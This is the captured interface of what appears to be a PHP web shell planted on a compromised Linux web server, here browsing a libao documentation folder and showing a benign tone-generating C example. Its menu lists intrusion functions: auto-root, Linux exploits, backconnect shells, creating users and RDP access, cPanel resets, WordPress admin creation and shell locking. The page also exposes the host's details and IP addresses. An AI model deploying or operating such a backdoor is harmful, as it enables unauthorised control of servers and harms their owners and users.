Linux server.flyproject.com.br 3.10.0-1160.el7.x86_64 #1 SMP Mon Oct 19 16:18:59 UTC 2020 x86_64
Apache
: 207.244.227.86 | : 216.73.217.1
10 Domain
7.1.33
hubnog
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
libao-1.1.0 /
[ HOME SHELL ]
Name
Size
Permission
Action
AUTHORS
115
B
-rw-r--r--
CHANGES
3.75
KB
-rw-r--r--
COPYING
17.57
KB
-rw-r--r--
README
3.03
KB
-rw-r--r--
ao_append_option.html
1.72
KB
-rw-r--r--
ao_close.html
1.58
KB
-rw-r--r--
ao_default_driver_id.html
1.59
KB
-rw-r--r--
ao_device.html
1.2
KB
-rw-r--r--
ao_driver_id.html
1.5
KB
-rw-r--r--
ao_driver_info.html
1.62
KB
-rw-r--r--
ao_driver_info_list.html
1.54
KB
-rw-r--r--
ao_example.c
1.78
KB
-rw-r--r--
ao_file_extension.html
1.72
KB
-rw-r--r--
ao_free_options.html
1.31
KB
-rw-r--r--
ao_info.html
2.83
KB
-rw-r--r--
ao_initialize.html
2.03
KB
-rw-r--r--
ao_is_big_endian.html
1.32
KB
-rw-r--r--
ao_open_file.html
3.23
KB
-rw-r--r--
ao_open_live.html
2.54
KB
-rw-r--r--
ao_option.html
1.49
KB
-rw-r--r--
ao_play.html
1.76
KB
-rw-r--r--
ao_plugin_close.html
1.49
KB
-rw-r--r--
ao_plugin_device_clear.html
1.24
KB
-rw-r--r--
ao_plugin_device_init.html
3.35
KB
-rw-r--r--
ao_plugin_driver_info.html
1.26
KB
-rw-r--r--
ao_plugin_file_extension.html
1.51
KB
-rw-r--r--
ao_plugin_open.html
3.15
KB
-rw-r--r--
ao_plugin_play.html
1.79
KB
-rw-r--r--
ao_plugin_set_option.html
1.98
KB
-rw-r--r--
ao_plugin_test.html
1.46
KB
-rw-r--r--
ao_sample_format.html
5.5
KB
-rw-r--r--
ao_shutdown.html
1.34
KB
-rw-r--r--
config.html
2.91
KB
-rw-r--r--
drivers.html
11.76
KB
-rw-r--r--
index.html
1.67
KB
-rw-r--r--
libao-api.html
1.99
KB
-rw-r--r--
overview.html
3.58
KB
-rw-r--r--
plugin-api.html
1.38
KB
-rw-r--r--
plugin-overview.html
7.16
KB
-rw-r--r--
style.css
279
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : ao_example.c
/* * * ao_example.c * * Written by Stan Seibert - July 2001 * * Legal Terms: * * This source file is released into the public domain. It is * distributed without any warranty; without even the implied * warranty * of merchantability or fitness for a particular * purpose. * * Function: * * This program opens the default driver and plays a 440 Hz tone for * one second. * * Compilation command line (for Linux systems): * * gcc -lao -ldl -lm -o ao_example ao_example.c * */ #include <stdio.h> #include <ao/ao.h> #include <math.h> #define BUF_SIZE 4096 int main(int argc, char **argv) { ao_device *device; ao_sample_format format; int default_driver; char *buffer; int buf_size; int sample; float freq = 440.0; int i; /* -- Initialize -- */ fprintf(stderr, "libao example program\n"); ao_initialize(); /* -- Setup for default driver -- */ default_driver = ao_default_driver_id(); memset(&format, 0, sizeof(format)); format.bits = 16; format.channels = 2; format.rate = 44100; format.byte_format = AO_FMT_LITTLE; /* -- Open driver -- */ device = ao_open_live(default_driver, &format, NULL /* no options */); if (device == NULL) { fprintf(stderr, "Error opening device.\n"); return 1; } /* -- Play some stuff -- */ buf_size = format.bits/8 * format.channels * format.rate; buffer = calloc(buf_size, sizeof(char)); for (i = 0; i < format.rate; i++) { sample = (int)(0.75 * 32768.0 * sin(2 * M_PI * freq * ((float) i/format.rate))); /* Put the same stuff in left and right channel */ buffer[4*i] = buffer[4*i+2] = sample & 0xff; buffer[4*i+1] = buffer[4*i+3] = (sample >> 8) & 0xff; } ao_play(device, buffer, buf_size); /* -- Close and shutdown -- */ ao_close(device); ao_shutdown(); return (0); }
Close